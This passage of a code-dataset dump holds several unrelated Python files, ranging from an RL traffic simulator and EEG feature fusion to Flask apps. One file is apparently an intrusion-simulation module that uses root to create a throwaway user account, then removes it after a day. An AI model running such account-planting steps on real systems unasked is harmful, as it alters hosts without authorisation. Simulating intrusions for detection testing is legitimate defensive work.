a_max=1.0, axis=1, **kwargs)\n super(EgoDriver, self).__init__(x_driver,y_driver,**kwargs)\n\n def apply_action(self, action):\n self.x_driver.v_des = action[0]\n if action[1] == 0:\n self.y_driver.p_des = 2.0\n else:\n self.y_driver.p_des = 6.0\n\nclass HighWay(TrafficEnv):\n def __init__(self,\n obs_noise=0.,\n x_actions=[0.,0.5,3.],\n y_actions=[0,1],\n driver_sigma = 0.,\n control_cost=0.01,\n collision_cost=2.,\n survive_reward=0.01,\n goal_reward=2.,\n road=Road([RoadSegment([(-100.,0.),(100.,0.),(100.,8.),(-100.,8.)])]),\n left_bound = -30.,\n right_bound = 30.,\n gap_min = 8.,\n gap_max = 12.,\n max_veh_num = 12,\n num_updates=1,\n dt=0.1,\n **kwargs):\n\n self.obs_noise = obs_noise\n self.x_actions = x_actions\n self.y_actions = y_actions\n # we use target value instead of target change so system is Markovian\n self.rl_actions = list(itertools.product(x_actions,y_actions))\n self.num_updates = num_updates\n\n self.control_cost = control_cost\n self.collision_cost = collision_cost\n self.survive_reward = survive_reward\n self.goal_reward = goal_reward\n\n self.left_bound = left_bound\n self.right_bound = right_bound\n self.gap_min = gap_min\n self.gap_max = gap_max\n self.max_veh_num = max_veh_num\n self.label_dim = 2\n self.label_num = self.max_veh_num\n\n self._collision = False\n self._goal = False\n self._intentions = []\n self._lower_lane_next_idx = 1\n self._upper_lane_next_idx = int(self.max_veh_num/2.)+1\n\n self.car_length = 5.0\n self.car_width = 2.0\n self.car_max_accel = 5.0\n self.car_max_speed = 5.0\n self.car_max_rotation = 0. #np.pi/18.\n self.car_expose_level = 4\n self.driver_sigma = driver_sigma\n\n super(HighWay, self).__init__(\n road=road,\n cars=[],\n drivers=[],\n dt=dt,\n **kwargs,)\n\n def get_sup_labels(self):\n for driver in self._drivers:\n driver.observe(self._cars, self._road)\n labels = np.array([np.nan]*self.label_num)\n for driver in self._drivers[1:]:\n i = driver._idx - 1\n labels[i] = int(driver.aggressive)\n return labels\n\n def update(self, action):\n # recorder intentios at the begining\n self._sup_labels = self.get_sup_labels()\n\n rl_action = self.rl_actions[action]\n self._drivers[0].apply_action(rl_action)\n\n self._goal = False\n self._collision = False\n for _ in range(self.num_updates):\n for driver in self._drivers:\n driver.observe(self._cars, self._road)\n self._actions = [driver.get_action() for driver in self._drivers]\n [action.update(car, self.dt) for (car, action) in zip(self._cars, self._actions)]\n\n ego_car = self._cars[0]\n for car in self._cars[1:]:\n if ego_car.check_collision(car):\n self._collision = True\n return\n\n if ego_car.position[0] > self.right_bound-2.:\n self._goal = True\n return\n\n # add cars when there is enough space\n min_upper_x = np.inf\n min_lower_x = np.inf\n for car in self._cars:\n if (car.position[1] <= 4.) and (car.position[0] < min_lower_x):\n min_lower_x = car.position[0]\n if (car.position[1] > 4.) and (car.position[0] < min_upper_x):\n min_upper_x = car.position[0]\n if min_lower_x > (self.left_bound + np.random.uniform(self.gap_min,self.gap_max) + self.car_length):\n x, y = self.left_bound, 2.\n aggressive = np.random.choice([True,False])\n car, driver = self.add_car(x, y, 0., 0., aggressive, 0.)\n if hasattr(self, 'viewer') and self.viewer:\n car.setup_render(self.viewer)\n driver.setup_render(self.viewer)\n if min_upper_x > (self.left_bound + np.random.uniform(self.gap_min,self.gap_max) + self.car_length):\n x, y = self.left_bound, 6.\n aggressive = np.random.choice([True,False])\n car, driver = self.add_car(x, y, 0., 0., aggressive, 0.)\n if hasattr(self, 'viewer') and self.viewer:\n car.setup_render(self.viewer)\n driver.setup_render(self.viewer)\n\n # remove cars that are out-of bound\n for car, driver in zip(self._cars[1:],self._drivers[1:]):\n if car.position[0] > self.right_bound:\n self.remove_car(car, driver)\n\n def is_terminal(self):\n return (self._collision or self._goal)\n\n def get_info(self):\n info = {}\n info['sup_labels'] = np.copy(self._sup_labels)\n\n if self._collision:\n info['event']='collision'\n elif self._goal:\n info['event']='goal'\n else:\n info['event']='nothing'\n\n return info\n\n def observe(self):\n # TODO: normalization\n obs = np.zeros(int(4*self.max_veh_num+4))\n for car in self._cars:\n i = int(car._idx*4)\n obs[i:i+2] = car.position + np.random.uniform(-1.,1.,2)*self.obs_noise\n obs[i+2:i+4] = car.velocity + np.random.uniform(-1.,1.,2)*self.obs_noise\n\n obs = np.copy(obs)\n return obs\n\n @property\n def observation_space(self):\n low = -np.ones(int(4*self.max_veh_num+4))\n high = np.ones(int(4*self.max_veh_num+4))\n return spaces.Box(low=low, high=high, dtype=np.float32)\n\n @property\n def action_space(self):\n return spaces.Discrete(len(self.rl_actions))\n\n def get_reward(self):\n reward = 0.\n action = self._actions[0]\n ego_car = self._cars[0]\n v_x, v_y = ego_car.velocity[0], ego_car.velocity[1]\n\n control_cost = 0. # TODO\n reward += self.control_cost*control_cost\n\n if self._collision:\n reward -= self.collision_cost\n elif self._goal:\n reward += self.goal_reward\n else:\n reward += self.survive_reward\n # print(speed_cost, t_cost, control_cost, reward)\n return reward\n\n def remove_car(self, car, driver):\n self._cars.remove(car)\n self._drivers.remove(driver)\n if hasattr(self, 'viewer') and self.viewer:\n car.remove_render(self.viewer)\n driver.remove_render(self.viewer)\n\n def add_car(self, x, y, vx, vy, aggressive, theta):\n if y <= 4.:\n idx = self._lower_lane_next_idx\n self._lower_lane_next_idx += 1\n if self._lower_lane_next_idx > int(self.max_veh_num/2.):\n self._lower_lane_next_idx = 1\n elif y > 4.:\n idx = self._upper_lane_next_idx\n self._upper_lane_next_idx += 1\n if self._upper_lane_next_idx > self.max_veh_num:\n self._upper_lane_next_idx = int(self.max_veh_num/2.)+1\n car = Car(idx=idx, length=self.car_length, width=self.car_width, color=random.choice(RED_COLORS),\n max_accel=self.car_max_accel, max_speed=self.car_max_speed,\n max_rotation=self.car_max_rotation,\n expose_level=self.car_expose_level)\n driver = EnvDriver(aggressive=aggressive, \n x_sigma=self.driver_sigma, y_sigma=0.,\n idx=idx, car=car, dt=self.dt\n ) \n car.set_position(np.array([x, y]))\n car.set_velocity(np.array([vx, vy]))\n car.set_rotation(theta)\n\n self._cars.append(car)\n self._drivers.append(driver)\n return car, driver\n\n def _reset(self):\n self._collision = False\n self._goal = False\n self._intentions = []\n self._lower_lane_next_idx = 1\n self._upper_lane_next_idx = int(self.max_veh_num/2.)+1\n\n self._cars, self._drivers = [], []\n x_0 = self.left_bound\n y_0 = np.random.choice([2.,6.])\n car = Car(idx=0, length=self.car_length, width=self.car_width, color=random.choice(BLUE_COLORS),\n max_accel=self.car_max_accel, max_speed=self.car_max_speed,\n max_rotation=self.car_max_rotation,\n expose_level=self.car_expose_level)\n driver = EgoDriver(x_sigma=self.driver_sigma, y_sigma=0.,\n idx=0,car=car,dt=self.dt)\n car.set_position(np.array([x_0, y_0]))\n car.set_velocity(np.array([0., 0.]))\n car.set_rotation(0.)\n self._cars.append(car)\n self._drivers.append(driver)\n # randomly generate surrounding cars and drivers\n # lower lane \n x = self.right_bound - np.random.rand()*(self.gap_max-self.gap_min)\n if y_0 == 2.0:\n x_min = x_0 + self.car_length + self.gap_min\n else:\n x_min = self.left_bound\n y = 2.0\n while (x >= x_min):\n aggressive = np.random.choice([True,False])\n self.add_car(x, y, 0., 0., aggressive, 0.)\n x -= (np.random.uniform(self.gap_min,self.gap_max) + self.car_length)\n\n # upper lane\n x = self.right_bound - np.random.rand()*(self.gap_max-self.gap_min)\n if y_0 == 6.0:\n x_min = x_0 + self.car_length + self.gap_min\n else:\n x_min = self.left_bound\n y = 6.0\n while (x >= x_min):\n aggressive = np.random.choice([True,False])\n self.add_car(x, y, 0., 0., aggressive, 0.)\n x -= (np.random.uniform(self.gap_min,self.gap_max) + self.car_length)\n\n self._sup_labels = self.get_sup_labels()\n return None\n\n def setup_viewer(self):\n from traffic import rendering\n self.viewer = rendering.Viewer(1200, 800)\n self.viewer.set_bounds(-40.0, 40.0, -20.0, 20.0)\n\n def get_camera_center(self):\n return np.array([0.,4.0])\n\n def update_extra_render(self, extra_input):\n start = np.array([-100.,4.0]) - self.get_camera_center()\n end = np.array([100.,4.0]) - self.get_camera_center()\n attrs = {\"color\":(1.,1.,1.),\"linewidth\":4.}\n self.viewer.draw_line(start, end, **attrs)\n\n if extra_input:\n if ('attention_weight' in extra_input.keys()) and (extra_input['attention_weight'] is not None):\n edge_index = extra_input['attention_weight'][0]\n attention_weight = extra_input['attention_weight'][1]\n upper_indices, lower_indices = self.get_sorted_indices()\n car_indices = [np.nan]*(1+self.max_veh_num)\n car_indices[0] = 0\n car_indices[1:len(lower_indices)+1] = lower_indices[:]\n car_indices[int(self.max_veh_num/2)+1:int(self.max_veh_num/2)+1+len(upper_indices)] = upper_indices[:]\n starts, ends, attentions = [], [], []\n for i in range(edge_index.shape[1]):\n if np.isnan(car_indices[edge_index[0,i]]) or np.isnan(car_indices[edge_index[1,i]]):\n pass\n elif car_indices[edge_index[1,i]] == 0:\n attention = attention_weight[i].item()\n attentions.append(attention)\n car_i = car_indices[edge_index[0,i]]\n car_j = car_indices[edge_index[1,i]]\n start = self._cars[car_i].position - self.get_camera_center()\n end = self._cars[car_j].position - self.get_camera_center()\n starts.append(start)\n ends.append(end)\n rank_index = np.argsort(attentions)\n starts = np.array(starts)[rank_index]\n ends = np.array(ends)[rank_index]\n attentions = np.array(attentions)[rank_index]\n assert np.isclose(np.sum(attentions),1.)\n for start, end, attention in zip(starts[-3:],ends[-3:],attentions[-3:]):\n attrs = {\"color\":(1.,0.,1.),\"linewidth\":10.*attention}\n if (start == end).all():\n from traffic.rendering import make_circle, _add_attrs\n circle = make_circle(radius=1., res=15, filled=False, center=start)\n _add_attrs(circle, attrs)\n self.viewer.add_onetime(circle)\n else:\n self.viewer.draw_line(start, end, **attrs)\n if ('intentions' in extra_input.keys()) and (extra_input['intentions'] is not None):\n for car in self._cars[1:]:\n from traffic.rendering import make_circle, _add_attrs\n intention = extra_input['intentions'][car._idx-1]\n start = car.position - self.get_camera_center()\n attrs = {\"color\":(intention[0],intention[1],0.)}\n circle = make_circle(radius=0.5, res=15, filled=True, center=start)\n _add_attrs(circle, attrs)\n self.viewer.add_onetime(circle) \n\nif __name__ == '__main__':\n import time\n import pdb\n env = HighWay(num_updates=1, driver_sigma=0.1, \n obs_noise=0.1,\n )\n obs = env.reset()\n img = env.render()\n done = False\n maximum_step = 200\n t = 0\n cr = 0.\n actions = [4]*(2*maximum_step)\n # actions = np.load('/Users/xiaobaima/Dropbox/SISL/rlkit/tests/Traffic/Data/t_intersection/MyDQNcg0.1expl0.2/seed0/failure1.npy')\n while True: #not done: \n # pdb.set_trace()\n # action = actions[t][0]\n action = actions[t]\n # action = np.random.randint(env.action_space.n)\n # action = input(\"Action\\n\")\n # action = int(action)\n # while action < 0:\n # t = 0\n # cr = 0.\n # env.reset()\n # env.render()\n # action = input(\"Action\\n\")\n # action = int(action)\n t += 1\n obs, reward, done, info = env.step(action)\n print('t: ', t)\n print('action: ',action)\n print('obs: ', obs)\n print('reward: ', reward)\n print('info: ', info)\n cr += reward\n env.render()\n time.sleep(0.1)\n if (t > maximum_step) or done:\n print('cr: ',cr)\n pdb.set_trace()\n # if env._collision or env._outroad:\n # pdb.set_trace()\n t = 0\n cr = 0.\n env.reset()\n env.render()\n env.close()\n","sub_path":"tests/Traffic/traffic/scenarios/highway_2.py","file_name":"highway_2.py","file_ext":"py","file_size_in_byte":19228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"365909675","text":"import bz2\nimport logging\nimport multiprocessing\nimport os\nimport subprocess\n\nimport gensim\nimport pkg_resources\nfrom gensim.corpora import WikiCorpus\nfrom gensim.models.word2vec import Word2Vec\n\nif __name__ == '__main__':\n logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\n\n working_dir = os.getcwd()\n prefix = 'wiki_nl_'\n threads = multiprocessing.cpu_count() * 2\n result_folder = pkg_resources.resource_filename('resources', 'results')\n dump_name = 'nlwiki-20170920-pages-articles.xml.bz2'\n wiki_dump_url = 'https://dumps.wikimedia.org/nlwiki/20170920/nlwiki-20170920-pages-articles.xml.bz2'\n saved_model_name = pkg_resources.resource_filename('resources', 'word2vec.model')\n\n if not pkg_resources.resource_exists('resources', dump_name):\n print('Please provide a wiki dump. For example {}'.format(wiki_dump_url))\n raise FileNotFoundError('No wiki dump found')\n wiki_dump = pkg_resources.resource_filename('resources', dump_name)\n\n corpus_generated = False\n\n for dirpath, dirnames, files in os.walk(result_folder):\n if files:\n corpus_generated = True\n else:\n os.makedirs(result_folder)\n\n if not corpus_generated:\n subprocess.run(['python', '-m', 'gensim.scripts.make_wiki', wiki_dump, result_folder])\n\n bz2_file = bz2.BZ2File('{}/{}wordids.txt.bz2'.format(result_folder, prefix))\n id2word = gensim.corpora.Dictionary.load_from_text(bz2_file)\n sentences = WikiCorpus(wiki_dump, dictionary=id2word).get_texts()\n\n model = Word2Vec(size=200, window=5, min_count=10, workers=threads)\n model.build_vocab(sentences)\n model.train(sentences, total_examples=model.corpus_count, epochs=model.iter)\n model.save(saved_model_name)\n","sub_path":"smug/utils/word_vectoring_model_generator.py","file_name":"word_vectoring_model_generator.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"73858745","text":"#coding:utf-8\n\nimport json\nimport urllib.request\nimport RSS2Gen\nimport datetime\nimport os\nimport re\n\ndef getImg(url):\n r = urllib.request.urlopen(url)\n html = r.read().decode('UTF-8',)\n return re.search(r'\"\"\\W

    ',html).group(1)\n \ndef genRss():\n enterurl = 'http://news-at.zhihu.com/api/4/news/latest'\n r = urllib.request.urlopen(enterurl)\n html = r.read().decode('UTF-8',)\n \n data = json.loads(html)\n \n itemslist = []\n \n for story in data['stories']:\n storylink = 'http://daily.zhihu.com/story/' + str(story['id'])\n imgurl = getImg(storylink)\n img = '''
    '''\n \n contenturl = 'http://news-at.zhihu.com/api/4/news/' + str(story['id'])\n r = urllib.request.urlopen(contenturl)\n html = r.read().decode('UTF-8',)\n data = json.loads(html)\n \n itemslist.append(RSS2Gen.RSSItem(\n title = data['title'],\n link = 'http://daily.zhihu.com/story/' + str(story['id']),\n description = data['body'].replace('''
    ''',img)\n )\n )\n \n rss = RSS2Gen.RSS2(\n title = \"知乎日报\",\n link = \"http://i.zxc.science/zhihudaily.xml\", \n description = \"一个python构建的知乎日报rss源\",\n lastBuildDate = datetime.datetime.now(),\n \n items = itemslist\n )\n \n rss.write_xml(open(\"zhihudaily.xml\", \"w\", encoding='utf-8'))\n\ngenRss()\n","sub_path":"zhihudaily.py","file_name":"zhihudaily.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"453606810","text":"\"\"\"Module containing fields and methods of the model\"\"\"\n\nfrom django.db import models\nfrom .department import Department\n\n\nclass Employee(models.Model):\n \"\"\"Class containing fields and methods of the model\"\"\"\n\n name_employee = models.CharField('Employee:', unique=True, max_length=30)\n dep = models.ForeignKey(Department, null=True, on_delete=models.SET_NULL)\n salary = models.PositiveIntegerField('Salary:', default=0)\n position = models.CharField('Position:', max_length=30)\n date = models.DateField('Date:')\n\n @staticmethod\n def get_absolute_url():\n \"\"\"A function that returns an absolute URL\"\"\"\n\n return '/employee/'\n\n def __str__(self):\n \"\"\"A function that returns a reference to the name field\"\"\"\n\n return self.name_employee\n","sub_path":"web-app/management/department/models/employee.py","file_name":"employee.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"593436027","text":"import time\n\nimport sys\nsys.setrecursionlimit(30000)\n\nn = 1000\ntree = list(range(-1, n))\ntree = list(map(str, tree))\nstart = time.time()\n\n\ndef get_height(sons, node):\n height = 1\n for son in sons[node]:\n height = max(height, get_height(sons, son) + 1)\n return height\n\ndef run(n, parents):\n sons = [[] for i in range(int(n))]\n head = 0\n for i, parent in enumerate(parents):\n if parent == '-1':\n head = i\n else:\n sons[int(parent)].append(i)\n return get_height(sons, head)\n\n# n = input()\n# parents = input().strip('\\n').split(' ')\n# print(run(n, parents))\n\n\n# import sys\n#\n#\n# def run(n, tree):\n# heights = []\n# checked_indexes = {}\n# for item_index, parent_index in enumerate(tree):\n# height = 1\n# while parent_index != -1:\n# height += 1\n# parent_index = tree[parent_index]\n# calc_height = checked_indexes.get(parent_index, 0)\n# if calc_height:\n# height += calc_height\n# break\n# checked_indexes[item_index] = height\n# heights.append(height)\n# return max(heights)\n\n\nprint(run(n, tree))\nend = time.time()\nprint(end-start)","sub_path":"stepik/algorithms and data structures/2.2.py","file_name":"2.2.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"184697241","text":"try:\n from framework.main import ModuleBase\nexcept ImportError:\n pass\n\nclass UserAdd(ModuleBase):\n @property\n def tags(self):\n return ['IntrusionSet3']\n\n @property\n def needs_root(self):\n return True\n\n @property\n def relative_delay(self):\n return 55\n\n @property\n def absolute_duration(self):\n return 24 * 3600 # 1 day\n\n def do_run(self):\n import time\n from subprocess import check_call, PIPE\n username = '${USER_NAME}'\n cmd = 'useradd -m -c \"{1}\" -l -N -s /bin/false {0}'.format(username, self._banner.replace(':',''))\n try:\n check_call(cmd, shell=True, stdout=PIPE, stderr=PIPE)\n self.hec_logger('Added a user', username=username)\n except Exception as e:\n self.hec_logger(str(e), severity='error')\n return\n time.sleep(self.absolute_duration)\n try:\n check_call('userdel -r {0}'.format(username), shell=True, stdout=PIPE, stderr=PIPE)\n self.hec_logger('Removed a user', username=username)\n except Exception as e:\n self.hec_logger(str(e), severity='error')\n\n def run(self):\n self.start()\n try:\n self.do_run()\n except Exception as e:\n self.hec_logger('Uncaught exception within module, exiting module gracefully', error=str(e),\n severity='error')\n self.finish()\n","sub_path":"framework/modules/useradd.py","file_name":"useradd.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"519326446","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 9 16:55:19 2021\n\n@author: chriskyee\n\"\"\"\n\nfrom scipy.io import loadmat\nimport pandas as pd\nimport numpy as np\nimport pickle\nfrom sklearn.decomposition import PCA\nfrom tqdm import tqdm\n\n######## Reading in music features from musicFeatures.mat to df ########\nmf_raw = loadmat('/Users/chriskye 1/Desktop/ResFinal/Data/musicFeatures.mat')\nmf_raw = mf_raw['df']\n\nmusicFeatures_raw = np.zeros((40,33))\n\n##creating feature list\nfor i in range(40):\n for index in range(0,14):\n musicFeatures_raw[i,index] = mf_raw[0,i][index][0][0]\n for index2 in range(14,27):\n musicFeatures_raw[i,index2] = mf_raw[0,i][14][index2-14][0]\n for index3 in range(27,33):\n musicFeatures_raw[i,index3] = mf_raw[0,i][index-12][0][0]\nmusicFeatures_raw = np.delete(musicFeatures_raw, 6, 1)\n\nmusicFeatures = np.repeat(musicFeatures_raw, [60]*len(musicFeatures_raw), 0)\nmusicFeatures = np.tile(musicFeatures, (32,1))\n \nmusicFeatures = pd.DataFrame(musicFeatures,columns=['RMS', 'Fluctuation Peak',\n 'Fluctuation Centroid','Tempo','Pulse Clarity', 'Mean Attack Time',\n 'Zero Cross Rate', 'Spectral Centroid', 'Spectral Spread',\n 'Spectral Skewness', 'Spectral Kurtosis', 'Spectral Flatness', 'Spectral Entropy',\n 'MFCC1', 'MFCC2', 'MFCC3', 'MFCC4', 'MFCC5', 'MFCC6', 'MFCC7', 'MFCC8', 'MFCC9',\n 'MFCC10', 'MFCC11', 'MFCC12', 'MFCC13', 'Harmonic Change', 'Key Clarity',\n 'Majorness', 'Roughness', 'Chroma Std', 'Novelty'])\n\n######## Reading in EEG Features to df ########\ninfile = open('/Users/chriskye 1/Desktop/ResFinal/Data/channelPSD.dat', 'rb')\nef_raw = pickle.load(infile)\n\n## reshape to 2d\neegFeatures = ef_raw.transpose(2,0,1).reshape(76800, 256)\n\n## assign colnames & make into pd df\ncolnames = []\nfor i in range(32):\n for j in range(8):\n name = 'Chn' + str(i+1) + '_' + 'band' + str(j+1)\n colnames.append(name)\neegFeatures = pd.DataFrame(eegFeatures, columns=colnames)\n\n######## Feature Fusion ########\nfullFeatures = musicFeatures.join(eegFeatures)\n\noutfile = open('/Users/chriskye 1/Desktop/ResFinal/Data/fullFeatures.dat', 'wb')\npickle.dump(fullFeatures, outfile)\noutfile.close()\n\n######## Creating Categorial Lables ########\ndeap_folder = '/Users/chriskye 1/Desktop/DEAP/data_preprocessed_python/'\nfile_list_test = ['s01.dat', 's02.dat'] ## test directory\nfile_list = ['s01.dat', 's02.dat', 's03.dat', 's04.dat', 's05.dat', 's06.dat',\n 's07.dat', 's08.dat', 's09.dat', 's10.dat', 's11.dat', 's12.dat',\n 's13.dat', 's14.dat', 's15.dat', 's16.dat', 's17.dat', 's18.dat',\n 's19.dat', 's20.dat', 's21.dat', 's22.dat', 's23.dat', 's24.dat',\n 's25.dat', 's26.dat', 's27.dat', 's28.dat', 's29.dat', 's30.dat',\n 's31.dat', 's32.dat']\n\n## OG label list\nlabels_numerical = np.zeros((1,2))\nfor filename in tqdm(file_list):\n data = pickle.load(open(deap_folder + filename, 'rb'), encoding = 'bytes')\n label_raw = data[b'labels'][...,0:2]\n labels_numerical = np.append(labels_numerical, label_raw, axis=0)\nlabels_numerical = labels_numerical[1:,...]\n\n## Labels to categorical\nlabels_categorical = np.zeros((1280,2))\nfor row in range(1280):\n labels_categorical[row,0] = (labels_numerical[row,0] > 5)\n labels_categorical[row,1] = (labels_numerical[row,1] > 5)\n\nlabels_categorical = np.repeat(labels_categorical, [60]*len(labels_categorical), axis = 0)\n\nlabels_numerical = pd.DataFrame(labels_numerical, columns=['Valence','Arousal'])\nlabels_categorical = pd.DataFrame(labels_categorical, columns=['Valence','Arousal'])\n\noutfile = (open('/Users/chriskye 1/Desktop/ResFinal/Data/labels.dat', 'wb'))\npickle.dump(labels_categorical, outfile)\noutfile.close()\n\n\n\n\n\n\n ","sub_path":"Scripts/featureFusion.py","file_name":"featureFusion.py","file_ext":"py","file_size_in_byte":3738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"641810927","text":"import torch.nn as nn\nimport torch\n\nclass HypertrophyClassifier(nn.Module):\n def __init__(self):\n super(HypertrophyClassifier, self).__init__()\n\n self.conv = nn.Conv2d(in_channels=3, out_channels=9, kernel_size=(3,3), stride=1) # (c=3, (224,224)) => (c=9, (222, 222))\n self.conv2 = nn.Conv2d(in_channels=9, out_channels=18, kernel_size=(3,3), stride=1) # (c=9, (222,222)) => (c=18, (220, 220))\n self.conv3 = nn.Conv2d(in_channels=18, out_channels=18, kernel_size=(2,2), stride=2) # (c=18, (220,220)) => (c=18, (110, 110))\n self.conv4 = nn.Conv2d(in_channels=18, out_channels=9, kernel_size=(2,2), stride=1, padding=1) # (c=9, (110,110)) => (c=9, (110, 110))\n self.conv5 = nn.Conv2d(in_channels=9, out_channels=6, kernel_size=(2,2), stride=1, padding=1) # (c=6, (110,110)) => (c=9, (110, 110))\n self.linear1 = nn.Linear(75264, 200)\n self.linear2 = nn.Linear(200, 3)\n\n self.relu = nn.ReLU()\n\n def forward(self, x):\n temp = self.relu(self.conv(x))\n temp = self.relu(self.conv2(temp))\n temp = self.relu(self.conv3(temp))\n temp = self.relu(self.conv4(temp))\n temp = self.relu(self.conv5(temp))\n temp = temp.view(-1, 75264)\n temp = self.relu(self.linear1(temp))\n temp = self.linear2(temp)\n return temp","sub_path":"hypertrophy_classifier.py","file_name":"hypertrophy_classifier.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"83573719","text":"from flask import render_template,request,redirect,url_for,abort\nfrom ..models import Comment,User,Pitch\n# We may also use the import * command to import all objects from a specific module e.g from ..models import *\n# ,get_pitch,get_comments\nfrom . import main\nfrom .forms import CommentForm, PitchForm,UpdateProfile\nfrom flask_login import login_required, current_user\nfrom .. import db,photos\nimport markdown2\n\n\ndef save_pitch(pitch):\n Pitch.save_pitch(pitch)\n\n@main.route('/')\n\ndef index():\n pitches = Pitch.query.order_by(Pitch.posted.desc()).all()\n '''\n my index page\n :return:\n '''\n return render_template('index.html', pitches=pitches )\n\n@main.route('/user/')\ndef profile(uname):\n user = User.query.filter_by(username = uname).first()\n\n if user is None:\n abort(404)\n\n return render_template(\"profile/profile.html\", user = user)\n\n\n@main.route('/user//update',methods = ['GET','POST'])\n@login_required\ndef update_profile(uname):\n user = User.query.filter_by(username = uname).first()\n if user is None:\n abort(404)\n\n form = UpdateProfile()\n\n if form.validate_on_submit():\n user.bio = form.bio.data\n\n db.session.add(user)\n db.session.commit()\n\n return redirect(url_for('.profile',uname=user.username))\n\n return render_template('profile/update.html',form =form)\n\n\n@main.route('/user//update/pic',methods= ['POST'])\n@login_required\ndef update_pic(uname):\n user = User.query.filter_by(username = uname).first()\n if 'photo' in request.files:\n filename = photos.save(request.files['photo'])\n path = f'photos/{filename}'\n user.profile_pic_path = path\n db.session.commit()\n return redirect(url_for('main.profile',uname=uname))\n\n\n@main.route('/category/')\n@login_required\n\ndef fetchcategory(category):\n\n '''\n View pitch page function that returns the pitch details page and its data\n '''\n category = Pitch.get_pitch(category)\n if request.args.get(\"vote\"):\n pitch.likes = pitch.likes + 1\n pitch.save_pitch()\n print(category)\n return render_template('pitch.html', category=category,pitch=pitch)\n\n@main.route('/comments/')\n@login_required\ndef comment(id):\n comments =Comment.get_comments(id)\n print(comment)\n title = 'comments'\n return render_template('comments.html',comments = comments,title = title)\n\n@main.route('/comment/', methods = ['GET', 'POST'])\n@login_required\ndef new_comment(pitches_id):\n pitches = Pitch.query.filter_by(id = pitches_id).first()\n form = CommentForm()\n\n if form.validate_on_submit():\n comment = form.comment.data\n\n new_comment = Comment(comment_content=comment,user_id=current_user.id, pitches_id=pitches_id)\n\n new_comment.save_comment()\n\n return redirect(url_for('main.index'))\n title='New Pitch'\n return render_template('new_comment.html',title=title,comment_form = form,pitches_id=pitches_id)\n\n@main.route('/pitch/', methods=['GET', 'POST'])\n@login_required\ndef pitch():\n form = PitchForm()\n print('working')\n if form.validate_on_submit():\n title = form.title.data\n content = form.content.data\n category=form.category.data\n\n # Updated comment instance\n new_pitch = Pitch( pitch_title=title,pitch_content=content,pitch_category=category,user_id=current_user.id)\n\n # save comment method\n new_pitch.save_pitch()\n return redirect(url_for('.single_pitch',pitch_id = new_pitch.id ))\n\n title = 'pitch'\n return render_template('new_pitch.html', pitch_form=form)\n\n\n\n@main.route('/pitch/',methods=[\"GET\",\"POST\"])\n@login_required\n\ndef single_pitch(pitch_id):\n pitches = Pitch.query.filter_by(id=pitch_id).one()\n\n comments=Comment.get_comments(pitch_id)\n\n\n form =CommentForm()\n if form.validate_on_submit():\n comment=form.comment.data\n\n\n new_comment = Comment(comment_content=comment,user_id=current_user.id, pitch_id=pitch_id)\n\n db.session.add(new_comment)\n db.session.commit()\n return redirect(url_for('main.pitch_comments', pitch_id=pitches.id))\n\n\n # new_comment.save_comment()\n\n # return redirect(url_for('.view_pitch', id=pitches.id, comments=comments))\n\n return render_template('added_pitch.html',pitch = pitches,form=form, comments=comments)\n\n\n@main.route('/pitch_comments/' ,methods=['GET', 'POST'])\n@login_required\n\ndef pitch_comments(pitch_id):\n\n pitch = Pitch.query.filter_by(id=pitch_id).one()\n # comments=Comment.get_comments(pitch_id)\n comments=Comment.get_comments(pitch_id)\n\n\n return render_template('pitch_comments.html', pitch=pitch, comments=comments, pitch_id=pitch.id)\n\n\n\n@main.route(\"/view/\", methods=[\"GET\",\"POST\"])\n@login_required\n\ndef view_pitch(id):\n pitch = Pitch.query.get(id)\n if request.args.get(\"vote\"):\n pitch.likes = pitch.likes + 1\n pitch.save_pitch()\n return redirect(\"/view/{pitch_id}\".format(pitch_id=id))\n return render_template('view_pitch.html',pitch = pitch, comment=comment)\n\n\n\n","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"554799229","text":"from flask import request, url_for, jsonify\nfrom flask_api import FlaskAPI, status, exceptions\nfrom pymongo import MongoClient\n\n\napp = FlaskAPI(__name__)\n# Home page\n@app.route(\"/\", methods=['GET'])\ndef list():\n mongo_uri = \"mongodb://mongo-router:27017\"\n\n client = MongoClient(mongo_uri)\n db = client.tarea\n collection = db.usuarios\n\n cursor = collection.find()\n\n notes = []\n\n for note in cursor:\n # Se adicionó para poder manejar ObjectID\n note['_id'] = str(note['_id'])\n notes.append(note)\n\n return notes\n# Dispositivos page\n# Para mostrar los países en donde hay dispositivos de la marca Sony\n@app.route(\"/dispositivos\", methods=['GET'])\ndef list_dispositivos():\n mongo_uri = \"mongodb://mongo-router:27017\"\n\n client = MongoClient(mongo_uri)\n db = client.tarea\n collection = db.dispositivos\n\n pipeline = [{\"$match\":{\"marca\":\"Sony\"}},{\"$project\":{\"marca\":1,\"pais\":1, \"_id\":0}}, {\"$sort\":{\"_id\":1}}]\n\n cursor = collection.aggregate(pipeline)\n\n return cursor\n# Direccion page\n# # Regresa la cantidad de dispositivos en México\n# El $count es equivalente a un $group + $project\n@app.route(\"/direccion\", methods=['GET'])\ndef list():\n mongo_uri = \"mongodb://mongo-router:27017\"\n\n client = MongoClient(mongo_uri)\n db = client.tarea\n collection = db.direcciones\n\n pipeline = [{\"$match\": {\"ubicacion\" :\"Mexico\"}}, 